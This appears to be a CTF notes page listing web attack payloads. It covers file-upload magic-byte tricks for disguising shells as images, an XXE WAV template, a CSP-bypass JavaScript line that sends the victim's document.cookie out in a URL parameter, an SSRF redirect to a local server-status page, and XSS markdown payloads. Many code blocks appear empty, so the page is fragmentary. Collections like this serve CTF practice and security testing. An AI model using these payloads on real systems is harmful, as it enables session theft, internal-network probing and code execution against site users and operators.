> For the complete documentation index, see [llms.txt](https://pwnsec-notes.gitbook.io/ctf-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://pwnsec-notes.gitbook.io/ctf-notes/appsec/payloads.md). # Payloads ## File Upload {% code overflow="wrap" %} ```bash # JPG echo -n -e '\xFF\xD8\xFF\xE0.' > shell.jpg # PNG echo -n -e '\x89\x50\x4E\x47.' > shell.png # GIF echo -n -e '\x47\x49\x46\x38.' > shell.gif # BMP echo -n -e '\x42\x4D.' > shell.bmp # WAV (XXE) echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00YOUR_XML_PAYLOAD_HERE\x00' > payload.wav ``` {% endcode %} ### Bypass CSP Polyglot JPEG Payload to embed in the picture via hxd (Use this [POC](http://portswigger-labs.net/polyglot/jpeg/xss.jpg)) ```javascript document.location='/zeyad?c='+encodeURIComponent(btoa(document.cookie)); ``` Code to execute code as JS ```html ``` Research link: ## Server Side Request Forgery ### **SVG** {% code overflow="wrap" %} ```svg ``` {% endcode %} ### Meta Tags ```html ``` ### Style tags {% code overflow="wrap" %} ```html ``` {% endcode %} ### HTTP Redirect

# ?url=http://your-domain/r.php
# [ r.php ]
<?php
header('Location: http://127.0.0.1:8080/server-status');
?>

### Edge Side Include ```xml ``` ## Electron RCE ```html ``` ### More * * ## XSS ### Markdown ```markdown ![

](#){onerror=outerHTML=alt} ``` ### Payload in hashstring ```html "